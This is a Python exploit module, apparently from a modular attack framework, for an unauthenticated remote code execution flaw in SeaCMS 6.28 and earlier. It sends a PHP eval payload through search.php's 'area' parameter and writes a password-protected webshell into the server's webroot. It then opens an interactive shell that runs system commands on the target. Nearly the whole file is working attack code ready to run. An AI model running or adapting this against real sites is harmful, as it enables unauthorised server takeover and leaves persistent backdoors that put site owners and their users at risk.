#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests

try:
    from core.log import Log
    from core.log import color
except Exception as e:
    import sys
    sys.path.append("../../core/log")
    from Log import Log
    from Log import color


class Exploit:
    # 定义该漏洞利用的配置信息
    # 备注:
    #	necessity 表示该参数是否必须配置
    #	default 为该参数的默认值
    config = {
        "remote_host": {"default": "127.0.0.1", "necessity": True},
        "remote_port": {"default": 80, "necessity": True},
        "webshell": {"default": "eval($_REQUEST[__PASSWORD__])", "necessity": True},
        "webroot": {"default": "/var/www/html", "necessity": True},
        "shell_path": {"default": "__WEBROOT__/version.php", "necessity": True},
        "shell_pwd": {"default": "c", "necessity": True},
        "interactive": {"default": True, "necessity": True}
    }
    # 如果该漏洞可以 GetShell, 该变量存储 shell 的 url
    webshell_url = ""
    session = requests.Session()

    def __init__(self):
        pass

    def exploit(self):
        '''
        漏洞利用的核心代码, 在此函数中完成漏洞利用
        '''
        Log.info("Lauching the exploition...")
        host = self.get_config("remote_host")
        port = int(self.get_config("remote_port"))
        abs_path = self.get_config("shell_path")[len("__WEBROOT__"):]
        webshell_path = self.get_config("shell_path").replace("__WEBROOT__", self.get_config("webroot"))
        webshell_password = self.get_config("shell_pwd")
        webshell = self.get_config("webshell").replace(
            "__PASSWORD__", webshell_password)
        url = "http://%s:%d/search.php?searchtype=5&tid=&area=eval($_POST[data])" % (host, port)
        data = {
            "data": "file_put_contents('%s', base64_decode('%s'));die();" % (webshell_path, webshell.encode("base64").replace("\n", ""))
        }
        Log.info("Data: %s" % (data))
        try:
            response = requests.post(url, data=data)
            self.webshell_url = "http://%s:%d/%s" % (host, port, abs_path)
            if response.status_code == 200:
                Log.success("Exploit success!")
                Log.success("Webshell is stored at: %s" % (self.webshell_url))
                Log.success("Password is %s" % (webshell_password))
                if self.get_config("interactive") == True:
                    self.interactive()
                return True
            else:
                Log.error("Exploit failed!")
                print "%s" % (color.red(response.content))
                return False
        except Exception as e:
            Log.error(str(e))
            return False

    def show_options(self):
        '''
        输出该模块的选项信息 (即之前定义的 config)
        由 options 命令触发
        通常不需要改动
        '''
        Log.warning("Options\t\tNecessity\t\tDefault")
        Log.warning("-------\t\t---------\t\t-------")
        for key in sorted(self.config.keys()):
            Log.warning("%s\t\t%s\t\t\t%s" % (
                key, self.config[key]["necessity"], self.get_config(key)))

    def set_config(self, key, value):
        '''
        对模块的参数进行修改
        由 set 命令触发
        通常不需要改动
        '''
        if key in self.config.keys():
            self.config[key]["default"] = value
            Log.success("%s\t==>\t%s" % (key, value))
        else:
            Log.error("No such option: %s" % (key))

    def get_config(self, key):
        return self.config[key]["default"]

    def interactive(self):
        '''
        在成功拿到 WebShell 之后, 可以利用该函数获得一个伪终端
        这里判断了 webshell_url 这个变量是否为空
        因此, 在拿到 webshell 地址后, 需要将 webshell_url 进行设置
        '''
        if self.webshell_url == "":
            Log.error("Webshell is dead!")
            return
        while True:
            command = raw_input("$ ")
            if command == "exit":
                break
            data = {
                self.get_config("shell_pwd"):"system(base64_decode('%s'));die();" % (command.encode("base64").replace("\n", ""))
            }
            print data
            try:
                Log.success(self.session.post(self.webshell_url, data=data).content)
            except Exception as e:
                Log.error(str(e))
                return False

    def show_info(self):
        '''
        模块(漏洞)的详细信息, 包括名称, 影响版本, 作者, 参考链接等等
        该函数在模块被加载的时候自动调用
        需要将其中的信息修改为对应的模块信息
        '''
        Log.info("Name: SeaCMS(6.28) UnAuthenticated RCE")
        Log.info("Effected Version: <=6.28")
        Log.info("Author: 没穿底裤")
        Log.info("Home: http://0day5.com/author/1/")
        Log.info("Refer:")
        Log.info("\thttp://0day5.com/archives/4180/")

def main():
    '''
    测试用例
    '''
    exploit = Exploit()
    exploit.show_info()
    exploit.set_config("remote_host", "localhost")
    exploit.set_config("shell_pwd", "hacker")
    exploit.show_options()
    exploit.exploit()

if __name__ == "__main__":
    main()
